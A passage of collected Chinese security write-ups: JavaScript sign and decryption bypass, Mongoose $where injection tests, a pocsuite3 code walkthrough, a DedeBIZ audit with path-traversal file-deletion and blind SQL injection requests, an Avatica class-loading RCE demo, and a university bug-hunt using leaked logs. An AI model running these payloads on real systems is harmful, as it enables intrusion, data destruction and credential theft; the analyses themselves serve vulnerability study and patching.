a, b, n, t[i + 5], 12, 1200080426),             n = qt(n, r, a, b, t[i + 6], 17, -1473231341),             b = qt(b, n, r, a, t[i + 7], 22, -45705983),             a = qt(a, b, n, r, t[i + 8], 7, 1770035416),             r = qt(r, a, b, n, t[i + 9], 12, -1958414417),             n = qt(n, r, a, b, t[i + 10], 17, -42063),             b = qt(b, n, r, a, t[i + 11], 22, -1990404162),             a = qt(a, b, n, r, t[i + 12], 7, 1804603682),             r = qt(r, a, b, n, t[i + 13], 12, -40341101),             n = qt(n, r, a, b, t[i + 14], 17, -1502002290),             a = Ft(a, b = qt(b, n, r, a, t[i + 15], 22, 1236535329), n, r, t[i + 1], 5, -165796510),             r = Ft(r, a, b, n, t[i + 6], 9, -1069501632),             n = Ft(n, r, a, b, t[i + 11], 14, 643717713),             b = Ft(b, n, r, a, t[i + 0], 20, -373897302),             a = Ft(a, b, n, r, t[i + 5], 5, -701558691),             r = Ft(r, a, b, n, t[i + 10], 9, 38016083),             n = Ft(n, r, a, b, t[i + 15], 14, -660478335),             b = Ft(b, n, r, a, t[i + 4], 20, -405537848),             a = Ft(a, b, n, r, t[i + 9], 5, 568446438),             r = Ft(r, a, b, n, t[i + 14], 9, -1019803690),             n = Ft(n, r, a, b, t[i + 3], 14, -187363961),             b = Ft(b, n, r, a, t[i + 8], 20, 1163531501),             a = Ft(a, b, n, r, t[i + 13], 5, -1444681467),             r = Ft(r, a, b, n, t[i + 2], 9, -51403784),             n = Ft(n, r, a, b, t[i + 7], 14, 1735328473),             a = Ut(a, b = Ft(b, n, r, a, t[i + 12], 20, -1926607734), n, r, t[i + 5], 4, -378558),             r = Ut(r, a, b, n, t[i + 8], 11, -2022574463),             n = Ut(n, r, a, b, t[i + 11], 16, 1839030562),             b = Ut(b, n, r, a, t[i + 14], 23, -35309556),             a = Ut(a, b, n, r, t[i + 1], 4, -1530992060),             r = Ut(r, a, b, n, t[i + 4], 11, 1272893353),             n = Ut(n, r, a, b, t[i + 7], 16, -155497632),             b = Ut(b, n, r, a, t[i + 10], 23, -1094730640),             a = Ut(a, b, n, r, t[i + 13], 4, 681279174),             r = Ut(r, a, b, n, t[i + 0], 11, -358537222),             n = Ut(n, r, a, b, t[i + 3], 16, -722521979),             b = Ut(b, n, r, a, t[i + 6], 23, 76029189),             a = Ut(a, b, n, r, t[i + 9], 4, -640364487),             r = Ut(r, a, b, n, t[i + 12], 11, -421815835),             n = Ut(n, r, a, b, t[i + 15], 16, 530742520),             a = Bt(a, b = Ut(b, n, r, a, t[i + 2], 23, -995338651), n, r, t[i + 0], 6, -198630844),             r = Bt(r, a, b, n, t[i + 7], 10, 1126891415),             n = Bt(n, r, a, b, t[i + 14], 15, -1416354905),             b = Bt(b, n, r, a, t[i + 5], 21, -57434055),             a = Bt(a, b, n, r, t[i + 12], 6, 1700485571),             r = Bt(r, a, b, n, t[i + 3], 10, -1894986606),             n = Bt(n, r, a, b, t[i + 10], 15, -1051523),             b = Bt(b, n, r, a, t[i + 1], 21, -2054922799),             a = Bt(a, b, n, r, t[i + 8], 6, 1873313359),             r = Bt(r, a, b, n, t[i + 15], 10, -30611744),             n = Bt(n, r, a, b, t[i + 6], 15, -1560198380),             b = Bt(b, n, r, a, t[i + 13], 21, 1309151649),             a = Bt(a, b, n, r, t[i + 4], 6, -145523070),             r = Bt(r, a, b, n, t[i + 11], 10, -1120210379),             n = Bt(n, r, a, b, t[i + 2], 15, 718787259),             b = Bt(b, n, r, a, t[i + 9], 21, -343485551),             a = zt(a, o),             b = zt(b, c),             n = zt(n, l),             r = zt(r, f)         }         return Array(a, b, n, r)     }     function Mt(q, a, b, t, s, e) {         return zt((n = zt(zt(a, q), zt(t, e))) << (r = s) | n >>> 32 - r, b);         var n, r     }     function qt(a, b, t, e, n, s, r) {         return Mt(b & t | ~b & e, a, b, n, s, r)     }     function Ft(a, b, t, e, n, s, r) {         return Mt(b & e | t & ~e, a, b, n, s, r)     }     function Ut(a, b, t, e, n, s, r) {         return Mt(b ^ t ^ e, a, b, n, s, r)     }     function Bt(a, b, t, e, n, s, r) {         return Mt(t ^ (b | ~e), a, b, n, s, r)     }     function zt(t, e) {         var n = (65535 & t) + (65535 & e);         return (t >> 16) + (e >> 16) + (n >> 16) << 16 | 65535 & n     }  console.log(Et("test")); 那么这个时候再传入n,及前面获取到的实际字段,并修改page的值重新生成 burp中替换sign重放,成功获取到数据 3.2 请求、响应内容加密 安全测试中,除了参数的校验之外,还有一类就是请求或者响应内容的加密,那么需要测试就必须先解密,看到原始内容才可以进行,本次以响应内容加密作为案例进行分析实操。 3.2.1 算法分析 通过截图可以看到,利用系统可以做翻译, 但是实际接口返回值是加密的,因此需要通过抓包接口测试,必须找到解密算法,获取响应内容 在源代码中进行XHR断点设置,添加uri为断点 输入数据,成功断下,可以看到断到了send函数,这个其实是向服务器发包的一个方法 跳过到下一个函数进行执行 可以看到data为key值等 继续跳过执行,可以看到成功获取到返回的加密值 再跳过执行可以看到执行该函数da.A.decodeData(),从名称也可以看出为一个解码的函数,分别传入了o和key以及iv,那么o为加密的值,key和iv分别为前面获取到的内容,执行完成后成功返回了解密后的明文数据 那么通过控制台面板,出入o为加密值,复制da.A.decodeData()进行执行,成功获得解密的数据。 3.2.2 算法逆向绕过 通过上述算法成功获取到具体的解密函数,这时利用burp抓包,修改参数为各类payload,进行重放 将获取到的加密数据,通过控制台面板传入o,并调用da.A.decodeData()成功获取原始数据,达到测试的效果。 当然,通过该解密方法的传值和分析,其实也可以看出是什么加密算法,也可以直接通过编写本地算法代码进行解密,具体不再详细赘述。 四、总结 对于安全测试或者漏洞挖掘中,这类js的加密校验也是越来越多,目的也是为了达到测试攻击等行为的成本,要想完成测试首先需要分析或者绕过校验参数,对于测试或者漏洞挖掘来说,怎么速度更快更能高效的达到算法的绕过其实目的就达到了。根据上述列出的两类场景和分析实战方法,便可以满足大部分的js逆向场景。
Mongoose 搜索注入漏洞分析
漏洞简介 CVE-2024-53900 Mongoose 8.8.3、7.8.3 和 6.13.5 之前的版本容易受到 $where 运算符不当使用的影响。此漏洞源于 $where 子句能够在 MongoDB 查询中执行任意 JavaScript 代码,这可能导致代码注入攻击以及未经授权的数据库数据访问或操纵。 CVE-2025-23061 Mongoose 8.9.5、7.8.4 和 6.13.6 之前的版本容易受到 $where 运算符不当使用的影响。此漏洞源于 $where 子句能够在 MongoDB 查询中执行任意 JavaScript 代码,可能导致代码注入攻击以及未经授权的数据库数据访问或操纵。该问题的存在是因为CVE-2024-53900的修复不完整。 Mongoose 是一个用于 Node.js 的 MongoDB 对象建模工具,它使得与 MongoDB 数据库交互变得更加简单和高效。我们可以看到这两个漏洞描述大体相同,都是因为在使用 $where 运算符时出现了问题。 环境搭建 安装 MongoDB 不知道是不是本地环境的问题,错误百出,于是还是采用 docker 来安装 docker pull mongo docker run --name mongodb -d -p 27017:27017 mongo 快速创建一个项目并指定 mongoose 版本 npm init -y npm install mongoose@6.13.4 --save node test.js 漏洞复现 根据漏洞特点我编写了一个 js 脚本,在不同版本下执行,比较不同情况对应的结果 const mongoose = require("mongoose"); // 连接 MongoDB const MONGO_URI = "mongodb://localhost:27017/testdb"; async function testWhereInjection() {  await mongoose.connect(MONGO_URI, { useNewUrlParser: true, useUnifiedTopology: true });  // 定义 User 模型和 Post 模型  const UserSchema = new mongoose.Schema({    username: String,    isAdmin: Boolean,    password: String });  const PostSchema = new mongoose.Schema({    title: String,    content: String,    author: { type: mongoose.Schema.Types.ObjectId, ref: 'User' } });  const User = mongoose.model("User", UserSchema);  const Post = mongoose.model("Post", PostSchema);  // 插入测试数据  await User.deleteMany({});  await Post.deleteMany({});    const users = await User.insertMany([   { username: "admin", isAdmin: true, password: "admin123" },   { username: "user1", isAdmin: false, password: "user123" },   { username: "user2", isAdmin: false, password: "user456" } ]);  await Post.insertMany([   { title: "Post 1", content: "Content 1", author: users[0]._id },   { title: "Post 2", content: "Content 2", author: users[1]._id } ]);  console.log("√ 已插入测试数据");  // 1. 正常的 populate 查询  try {    const result = await Post.findOne().populate({      path: 'author',      match: { username: "admin" }   });    console.log("√ 正常 populate 查询结果:", result); } catch (err) {    console.error("× 正常 populate 查询失败:", err.message); }  // 2. 测试 populate match 中的 $where 注入  try {    const result = await Post.findOne().populate({      path: 'author',      match: { $where: "this.isAdmin" }  // 修改这里,去掉 return   });    console.log("√ `$where` populate 查询成功,说明可能存在漏洞:", result); } catch (err) {    console.error("× `$where` populate 查询被拦截:", err.message); }  // 3. 测试深层嵌套的 $where 注入  try {    const result = await Post.findOne().populate({      path: 'author',      match: {        $and: [         { nested: { $where: "this.isAdmin" } }  // 修改这里,去掉 return       ]     }   });    console.log("√ 嵌套 `$where` populate 查询成功,说明可能存在漏洞:", result); } catch (err) {    console.error("× 嵌套 `$where` populate 查询被拦截:", err.message); }  // 4. 测试数组中的 $where 注入  try {    const result = await Post.findOne().populate({      path: 'author',      match: [{ $where: "this.isAdmin" }]  // 修改这里,去掉 return   });    console.log("√ 数组中的 `$where` populate 查询成功,说明可能存在漏洞:", result); } catch (err) {    console.error("× 数组中的 `$where` populate 查询被拦截:", err.message); }  await mongoose.disconnect(); } testWhereInjection().catch(console.error); mongoose@6.13.4 mongoose@6.13.5 mongoose@6.13.6 通过执行结果我们发现,在 mongoose@6.13.4 中,$where 语句可以任意执行语句,经过修复后的 mongoose@6.13.5 中,只能通过嵌套来执行插入的语句,mongoose@6.13.6 已经修复了通过嵌套执行插入语句的问题。 漏洞分析 https://github.com/Automattic/mongoose/compare/6.13.4...6.13.5?diff=split&w=& 第一次进行修复 1. 首先判断 match 是否为一个数组,使用 Array.isArray(match) 进行检查。 2. 如果 match 是一个数组,则使用 for...of 循环遍历数组中的每个元素 item。 3. 对于每个 item,进行以下检查:   如果 item 不为 null (item !\= null),并且 item 对象中存在 $where 属性 (item.$where),则抛出一个 MongooseError 异常,错误信息为 "Cannot use $where filter with populate() match"。这是因为在 populate() 查询中不允许使用 $where 操作符。 4. 如果 match 不是一个数组,则进行另一个判断:   如果 match 不为 null (match !\= null),并且 match 对象中存在 $where 属性 (match.$where !\= null),同样抛出一个 MongooseError 异常,错误信息为 "Cannot use $where filter with populate() match"。 进行 populate() 查询时,防止使用 $where 操作符,检查传入的 match 参数是否包含 $where 属性,无论 match 是一个数组还是一个对象。如果发现 match 中存在 $where 属性,就会抛出一个 MongooseError 异常,提示不能在 populate() 查询中使用 $where 过滤器 https://github.com/Automattic/mongoose/compare/6.13.5...6.13.6?diff=split&w=& 第二次修复 1. 函数接受一个参数 match,表示要检查的对象。 2. 首先进行两个条件判断:   如果 match 为 null 或 undefined,直接返回,不进行后续检查。   如果 match 的类型不是对象,也直接返回,不进行后续检查。 这两个判断是为了避免对非对象类型进行遍历和递归。 3. 使用 Object.keys(match) 获取 match 对象的所有属性键,并使用 for...of 循环遍历每个属性键 key。 4. 对于每个属性键 key,进行以下检查:   如果 key 等于 '$where',表示在 match 对象中发现了 $where 操作符,抛出一个 MongooseError 异常,错误信息为 "Cannot use $where filter with populate() match"。 5. 如果当前属性的值 match[key] 不为 null 或 undefined,并且其类型为对象,则递归调用 throwOn$where 函数,将 match[key] 作为参数传入,对嵌套的对象进行相同的检查。 通过递归调用 throwOn$where 函数,可以对 match 对象进行深度遍历,检查其中是否包含 $where 操作符,无论 $where 操作符位于对象的哪个层级。
pocsuite3安全工具源码分析
pocsuite3 是由 知道创宇 404实验室 开发维护的开源远程漏洞测试和概念验证开发框架。为了更好理解其运行逻辑,本文将从源码角度分析该项目的初始化,多线程函数,poc模板等等源码。 项目结构 api:对要导入的包重命名,方便后续导入调用data:存储用户需要使用的文档数据lib:项目核心代码modules:存储用户自定义的模块plugins:存储用户自定义的插件pocs:存储poc文件shellcodes:存储生成php,java,python等脚本语言的利用代码,以及反弹shell的利用代码cli.py:项目的入口console.py:命令行界面 进入项目入口:/pocsuite3/cli.py check_environment() #检查当前工作目录是否符合当前系统set_paths(). #设置后续需要用到的数据,目录信息banner() #打印命令行页面的横幅 init_options(cmd_line_parser().dict) # 命令行参数处理跟进cmd_line_parser()查看: 此处注意一个参数-c target.add_argument("-c", dest="configFile", help="Load options from a configuration INI file") 可以先在pocsuite.ini配置好参数,通过pocsuite -c pocsuite.ini 运行 双重跟进init_options(),找到命令行存储参数: 可见采用了类似字典的形式存储,避免了重复数据且还有其它四个参数也采用了该形式存储,五个参数贯穿整个项目 conf:存储基本配置信息kb:存储了目标地址、加载的PoC、运行模式、输出结果、加载的PoC文件地址、多线程信息等cmd_line_options:是存储命令行输入的参数值merged_options:存储输入值与默认值合并后的结果paths:存储数据、插件、poc等目录地址 参数获取处理完后,进入项目初始化,init()函数,一下对部分函数进行注解分析: def init(): """ Set attributes into both configuration and knowledge base singletons based upon command line and configuration file options. """ set_verbosity() #日志输出级别设置 _adjust_logging_formatter() #调整日志格式器 _cleanup_options() #将各个配置项格式化,并校验合法性 _basic_option_validation() #校验seebug,zoomeye等api,token的合法性 _create_directory() #检测文件路径是否存在,不存在则创建 _init_kb_comparison() update() _set_multiple_targets() #读取目标 _set_user_pocs_path() _set_pocs_modules() #动态加载poc _set_plugins() #动态加载插件 _init_targets_plugins() _init_pocs_plugins() _set_task_queue() #初始化多线程设置 _init_results_plugins() #初始化输出插件 AttribDict类解析 前文也提到过以下五个全局变量,它们均通过创建AttribDict类的实例进行使用,现在我们跟进类详细分析: AttribDict()类: 自定义类,继承自python内建的OrderedDict类,扩展访问方式,简化了对字典键的访问。主要存在三个方法:getattr(),setattr(),delattr()这三个方法在if判断逻辑均相同:1:以双下划线 __ 开头(例如,Python 的内置属性,如 dict)。2:以 _OrderedDict__ 开头(因为 OrderedDict在内部实现中使用的名称)。3:名字存在于 exclude_keys 集合中(排除的键)。如果任一条件成立,说明这个属性不应该通过 obj.attr访问,所以跳过使用自定义的 getattr处理,直接调用父类对应的方法访问。例:getattr()就调 如果属性名不满足,则通过字典的方式,添加或者删除AttribDict中 地址处理代码分析 先查看存储初始数据,存在则进行下一步。通过set()创建集合方便去重,再遍历conf.url数据,通过parde_target()进行对url进行分析处理,并且在不为空的情况下调用集合的add()方法添加,完成后再将,用于临时存储的target集合里面的数据,放到kb这种全局变量内。parde_target()函数 接受参数后先if判断,如果是域名,url,ip:端口形式则直接赋值给target跟进其中一个判断函数: 跟进: 可见是通过正则进行判断。接着再判断如果为http://ipv6形式,则启动ipv6配置,并进行赋值target,依旧是正则判断。 再判断如果为ipv4则调用python内置ip_address解析赋值,该方法自动区分ipv4或者ipv6并最后返回对应的对象。再通过else判断,对纯ipv6地址,或者ipv6网络进行解析赋值。 动态poc加载 Step1:从pocs目录加载先通过os.listdir读取对应目录,返回一个含有poc的py文件的列表。再通过filter()函数过滤init.之类文件,不过此时filter()函数返回的是一个迭代器,所以又通过list()函数将数据处理成列表再赋值。(lambda x: x not in ['init.py','init.pyc']:这个匿名函数会检查每个文件名 x 是否不等于'init.py' 或 'init.pyc'。) 再从含有类似thinkphp_poc.py的文件名中,通过x变量循环读取,并通过splitex()函数将其分为"thinkphp_poc",".py"格式的键值队元组。再次通过dict()字典函数,将x元组的第一个元素作为字典的键,第二个元素作为字典的值。 如果poc是目录,则使用 os.walk() 递归遍历该目录下的所有文件,过滤出 .py或 .yaml 文件,并将其完整路径添加到 _pocs 列表中。 Step2:遍历加载 PoC 文件内容并检查,并对加载失败的poc进行日志记录。 Step3:最后从 Seebug 网站加载 PoC。 poc模版跟据目录找到现存poc:pocsuite3/pocs,thinkphp_rce为例 所有模版均是继承自父类POCBase,跟进: 父类在初始化时便设置了一系列可能用到的属性,例如自定义headers,目标url,端口等等。这里关注execute()函数 self.url处采用if判断:如果为http协议则采用parse_target_url()解析,else采用build_url()解析:mode值默认为verify。随后调用_execute()根据mode值执行。 shell(),attack(),_verify()均需自定义重写。回到例thinkphp_rce例子:_verify()函数如下: 调用了_check()函数进行检验: 通过request.post()发送设置好payload的请求,根据返回包关键字判断是否成功。(flag自定义)返回的结果在_verify()函数又会调用parse_output()转化为json格式输出。 动态核心load_file_to_module()继续分析_set_pocs_modules() 将读取文件切割为文件名和后缀名,根据后缀名重构路径file_pth,if判断file_path构建成功则进入红框代码处。 通过get_filename()从file_path路径提取文件名,由于wuth.ext=False,则不提取文件名后缀,提取后拼接在pocs_后并赋值给module,例如:pocs_thinkphp_rce。随后三行代码涉及到python中动态模块加载知识: spec = importlib.util.spec_from_file_location(module_name, file_path, loader=PocLoader(module_name, file_path)) #创建模块规格,采用自定义加载器类加载模块,loader:加载器对象,负责如何从文件加载模块 mod = importlib.util.module_from_spec(spec)#根据规格创建模块对象 spec.loader.exec_module(mod) #执行模块代码,确保为完整可用的模块 动态模块注解: 模块是包含 Python 代码的文件,可以通过 import语句加载并使用。通常,当你使用 import 语句导入一个模块时,Python会根据模块的名称查找相应的文件(如 .py 文件),并将其加载到内存中。 然而,在一些特殊的情况下,比如动态加载模块或运行时创建模块,我们需要用到importlib 模块。importlib提供了一些工具,可以帮助我们在运行时加载模块,而不是在编写代码时静态地导入。 例如:importlib.util.spec_from_file_location spec(模块加载规格)描述了如何加载一个模块。它定义了如何找到模块代码,如何加载它,以及加载时需要的一些元数据。类似于说明书,它告诉Python 模块在哪里、叫什么名字、以及如何加载它。 接着看看是如何调用loader加载器的exec_module()函数进行加载的: filename接受poc绝对路径,poc_code接受poc文件内容。随后调用check_requires()检查代码运行中需要的包,通过import函数导入。compile()为python内置函数,将源代码字符串poc_code编译为字节码,'exec'这是一个编译模式,表示代码将作为一段可执行的代码被执行。常见的编译模式有'eval'(用于单个表达式)和 'exec'(用于整个代码块)之后再调用exec()函数执行字节码对象obj当中的代码,并绑定到module.dict上,这样就可以通过module.函数()直接调用poc_code当中的函数。 多线程与输出加载 跟进:_set_task_queue() if判断,poc模版与目标ip均不为空情况下,遍历出poc_module与target。并将它们组成元组,加入kb.task_queue中,确保数据在线程安全传输。 start()函数 调用runtime_check()检查poc是否加载成功: 再调用python标准库中的queue.Queue类的qsize()方法,获取先前kb.task_queue队列的任务数量。run_threads()函数随后进入start()函数核心:run_threads(conf.threads, task_run):该函数传入线程数conf.threads(),与多线程执行函数task_run()。 这个函数的目的是启动多个线程并执行给定的函数thread_function。num_threads: 需要启动的线程数量。thread_function: 要在线程中运行的目标函数。args: 传递给 thread_function 的参数,默认为空元组。forward_exception: 控制是否在捕获异常后继续传播异常,默认值为 True。start_msg: 控制是否输出启动线程的消息,默认值为 True。 先threads = []创建空列表,用来存储后续的线程实例 随后进行线程数检查,如果大于1,则是多线程,并在线程数超过max时发出告警提示,线程不大于1,则直接执行函数 检查完为多线程则进行下一步:循环创建线程,并启动 根据num_threads数量循环创建,并调用setDaemon(TRUE)将所有线程设置为守护线程。(守护线程:后台运行,随主线程终止而终止) 随后再调用python标准库函数isAlive()进行循环检查,直到所有线程完成才跳出循环。(python3建议使用is_Alive()函数)。 执行完run_threads()函数后,finally代码再执行task_done(),跟进该函数,内部存在三个函数: show_task_result():会取出poc执行结果,然后格式化输出 result_plugins_start():该函数负责调用file_record.py中的start()函数 result_compare_handle():显示来自各个搜索引擎的对比数据 先前已经分析了start(0函数核心在于run_threads(conf.threads,task_run),我们接着跟进分析多线程执行函数:task_run() 多线程执行函数: task_run(): 先确认task_queue不为空,并且thread_continue为真,随后从task_queue获取目标ip与poc模版 (之前通过task_queue.put((target,poc_module))存储进去的) 随后调用python标准库copy模块中的deepcpy,进行深拷贝操作,复制poc模版,防止原始poc模块被修改。 poc_name获取poc模块名称方便日志打印。 随后处理用户自定义参数,检查是否尝试修改白名单内容,并校验是否存在必选参数未设置。 随后进入核心代码块,根据传参调用excute()函数: 后续则是根据测试成功或者失败,对结果进行处理输出 综合文章分析,pocsuite3项目被我分成如下执行流程: 在clip.py中调用main()函数,整个项目则开始执行,进行环境检查,参数获取后,则进入核心代码:在main()函数中调用init()与start()函数,最后则是我上文刚分析过的数据处理与输出格式化。
DedeBIZ系统审计小结
之前简单审计过DedeBIZ系统,网上还没有对这个系统的漏洞有过详尽的分析,于是重新审计并总结文章,记录下自己审计的过程。 https://github.com/DedeBIZ/DedeV6/archive/refs/tags/6.2.10.zip📌DedeBIZ 系统并非基于 MVC 框架,而是采用 静态化与动态解析结合 的方式进行页面处理。其“路由”主要依赖 静态文件跳转 和 数据库模板解析,因此可以直接访问 PHP 文件来触发相应的动态解析逻辑。 我一般会首先关注对文件的操作,任意文件上传、任意文件删除,任意文件读取、任意文件下载等漏洞都是我第一时间关注的重点,除了黑盒测试时关注功能点外,通过代码审计来看的话速度会更快一点。(这里有一个小技巧,就是直接全局搜索?filename= ,一些 js 文件中可能会包含对文件处理的操作,搜索到后就可以直接进行尝试。) 授权任意文件删除 GET /admin/file_manage_control.php?fmdo=del&filename=../1.txt HTTP/1.1 Host: dedev6.test Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=51t797sesf49d9oo8je5ugvjfa; dede_csrf_token=dfb0e80d4f74949ef3730a90d3f49c64; dede_csrf_token__ckMd5=554688926d285f96; DedeUserID=1; DedeUserID__ckMd5=6269166a7279678f; DedeLoginTime=1703426661; DedeLoginTime__ckMd5=7c3591094ad5f36b; DedeStUUID=22636dd1d7205; DedeStUUID__ckMd5=bae1 Connection: close src\admin\file_manage_control.php src\admin\file_class.php#DeleteFile 该漏洞发生在 file_manage_control.php 处理 fmdo=del请求时,由于 DeleteFile方法直接拼接 filename参数生成完整路径并调用 unlink 删除文件,缺乏路径校验,导致攻击者可以构造 ../进行目录遍历,删除任意文件。通过 GET /admin/file_manage_control.php?fmdo=del&filename=../1.txt请求,利用 filename=../1.txt逃出受限目录,删除站点根目录下的 1.txt文件。 授权 SQL 注入 首先需要创建表单 修改添加字段信息 点击字段发布信息 构造数据包 POST /admin/diy_list.php?action=delete&diyid=1&id[]=1)AND+sleep(5 HTTP/1.1 Host: dedev6.test Accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://dedev6.test/admin/index_body.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=51t797sesf49d9oo8je5ugvjfa; dede_csrf_token=dfb0e80d4f74949ef3730a90d3f49c64; dede_csrf_token__ckMd5=554688926d285f96; DedeUserID=1; DedeUserID__ckMd5=6269166a7279678f; DedeLoginTime=1703426661; DedeLoginTime__ckMd5=7c3591094ad5f36b Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 构造 payload 1)AND+(case(1)when(ascii(substr((select(database()))from(1)for(1)))=100)then(sleep(5))else(1)end (case(1)when(ascii(substr((select(database()))from(1)for(1)))=100)then(sleep(5))else(1)end 为 true 与查询出的数据库名 dedebiz 第一个字母 d 的 ascii 相符合。 为什么我们操作的时候需要那么多的前置条件呢,接下来我会详细说明,首先我们从代码层面查看: src/admin/diy_list.php 对传入的参数 数组 id 通过 , 拼接起来,最后传参到 SQL 语句: $query = "DELETE FROM `$diy->table` WHERE id IN ($ids)"; 参数可以通过 ) 闭合,构成 SQL 注入 我们注意到:          $query = "DELETE FROM `$diy->table` WHERE id IN ($ids)";        if ($dsql->ExecuteNoneQuery($query)) {            showmsg('删除成功', "diy_list.php?action=list&diyid={$diy->diyid}");       } else {            showmsg('删除失败', "diy_list.php?action=list&diyid={$diy->diyid}");       } 执行的结果并不会直接返回到界面上,所以这个漏洞时一个盲注漏洞,基于盲注漏洞的特点以及执行数据库时,如果这个表为空,那么便不会执行成功,为了使这个数据库语句执行成功,数据库中必须先保存有数据。 同时这个注入漏洞可以说绝无仅有: 对比代码我们发现,就这一部分没有对变量 id 的类型进行检测。
Apache Calcite Avatica 远程代码执行(CVE-2022-36364)
前段时间看到Apache Calcite Avatica远程代码执行漏洞 CVE-2022-36364 在网上搜索也没有找到相关的分析和复现文章,于是想着自己研究一下,看能不能发现可以利用的方法。 首先利用一下最近比较热门的 Deepseek ,询问他是否清楚漏洞相关的信息。 通过回答我们可以了解到这个漏洞的概况,具体漏洞的版本,以及漏洞产生的原因。 漏洞简介 Apache Calcite Avatica JDBC 驱动程序根据通过 httpclient_impl 连接属性提供的类名来创建 HTTP 客户端实例;但是在驱动程序实例化之前不会验证该类是否实现了预期的接口,这样一来就会导致可以通过调用任意类来执行代码。 执行这个漏洞并造成一定的危害性,还需要两个先决条件: 必须拥有控制 JDBC 连接参数的权限 类路径中有一个具有 URL 参数和执行代码能力的函数(目前需要自己构造) 漏洞复现&分析 简单点,通过 maven 来创建漏洞环境        <!-- https://mvnrepository.com/artifact/org.apache.calcite.avatica/avatica -->        <dependency>            <groupId>org.apache.calcite.avatica</groupId>            <artifactId>avatica</artifactId>            <version>1.21.0</version>        </dependency> 创建完成漏洞环境后,我们就需要来编写一段代码想办法触发这个漏洞,我个人的建议是通过对比代码补丁,一般来说修复完成代码后,总会写一个测试类来进行测试 import org.apache.calcite.avatica.BuiltInConnectionProperty; import org.apache.calcite.avatica.ConnectionConfig; import org.apache.calcite.avatica.ConnectionConfigImpl; import org.apache.calcite.avatica.remote.AvaticaHttpClient; import org.apache.calcite.avatica.remote.AvaticaHttpClientFactory; import org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl; import java.net.URL; import java.util.Properties; public class test {    public static void main(String[] args) throws Exception {        Properties props = new Properties();        props.setProperty(BuiltInConnectionProperty.HTTP_CLIENT_IMPL.name(),"className");        URL url = new URL("url");        ConnectionConfig config = new ConnectionConfigImpl(props);        AvaticaHttpClientFactory httpClientFactory = new AvaticaHttpClientFactoryImpl();        AvaticaHttpClient client = httpClientFactory.getClient(url, config, null);   } } 这样一来我们就编写了一个漏洞 Demo calssName 和 url 的值是我们可以操作控制的,我们进行调试分析一下 org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl#getClient 这个地方我们就注意到了最后调用 instantiateClient 来处理的两个参数 className 和 url 一个来自于直接传参,另一个来自于 config.httpClientClass() 会从 config 对象中获取 HTTP 客户端的实现类名称,并将其作为一个 String 返回 ‍ 所以当参数传入到 org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl#instantiateClient 其中的两个参数 className 和 url 都是我们可以控制的 不需要向下继续调试,我们就看到了关键代码 constructor.newInstance(Objects.requireNonNull(url)); 这样一来我们就可以通过控制 className 和 url 来实现调用任意类,但是这个类的必须有 URL 参数的处理 刚开始想到的方法是 利用 spring 中的类构造函数加载远程配置实现 RCE org.springframework.context.support.ClassPathXmlApplicationContext import org.springframework.context.support.ClassPathXmlApplicationContext; public class JXpathDemo {    public static void main(String[] args) {        String s = "http://127.0.0.1:8080/bean.xml";        ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext(s);   } } 似乎如此一来就满足了条件,我们先试试 爆出了一个错误,我们注意到 lassPathXmlApplicationContext 类没有接收 java.net.URL 参数的构造方法。ClassPathXmlApplicationContext 类的构造方法接收的是 String 类型的路径,通常是用于加载 Spring 配置文件的路径。 所以这种利用方式适用于很多种情况 Apache Commons JXPath 远程代码执行、PostgresQL JDBC Driver 任意代码执行 等,但是并不适配当前的环境。(目前还没有找到合适的类来触发利用这种漏洞) 为了进一步体现危害性,我自己创建一个类来体现 import java.net.URL; public class CustomHttpClient {    private URL url;    // 构造函数,接受一个 URL 类型的参数    public CustomHttpClient(URL url) throws Exception {        Runtime.getRuntime().exec("calc.exe");   } } 漏洞修复 通过对比我们发现对传入的类进行了控制,限定必须属于AvaticaHttpClient 的子类 https://github.com/apache/calcite-avatica/commit/0c097b6a685fc1f97f151505a219976f15ed0c4c?diff=split&w=0&
从靶场到实战:双一流高校多个高危漏洞
本文结合其它用户案例分析讲解挖掘某双一流站点的过程,包含日志泄露漏洞深入利用失败,到不弱的弱口令字典进入后台,再到最后偶遇一个貌似只在靶场遇到过的高危漏洞。 信息搜集: web站点的话从域名,ip等入手范围太大了,于是决定直接从小程序入手。 微信搜索学校名称,便直接可以通过公众号,小程序寻找目标。这里注意如果你要挖掘某edu的漏洞,就可以多关注他们的公众号,小程序,看看最近有没有什么新的功能出现,这种功能点漏洞比较容易出现。 于是我直接在某公众号发现了一个新功能:报名入口。临近毕业,所有有很多公司可能会来学校宣讲或者招人,这种时候就很有可能出现新功能,本案例就是。 照常点击功能,出现跳转,直接转浏览器测web页面。 日志泄露nday: 在登陆时发现限定了登陆时间,而目前已经不在时间内,可见这其实就是一个临时的系统。 我检查js信息尝试调试js绕过,没成功就通过报错发现为thinkphp框架,直接上工具一把梭。 链接:https://github.com/Lotus6/ThinkphpGUI 只可惜只存在一个日志泄露的nday,没能shell。 根据日志泄露目录可以发现能够遍历近一年的日志信息,此时的思路就是从日志中看能不能拿到管理员或者其它用户登陆的敏感信息,例如账号密码之类,这样就可以扩大日志泄露危害,进一步挖掘利用。 参考文章: https://cloud.tencent.com/developer/article/1752185这篇文章就是利用kali自带工具whatweb探测出thinkphp框架: 并通过dirb扫除.svn泄露: 再通过svnExploit工具进行下载利用: 链接:https://github.com/admintony/svnExploit 并在svn中发现大量日志泄露: 并通过找到最新的日志信息,找到密码hash值,通过cmd5实现解密并成功进入后台: https://blog.csdn.net/qq_41781465/article/details/144092247这篇文章也是在日志信息中成功找到账号密码,配合dirsearch扫出后台,成功登陆: 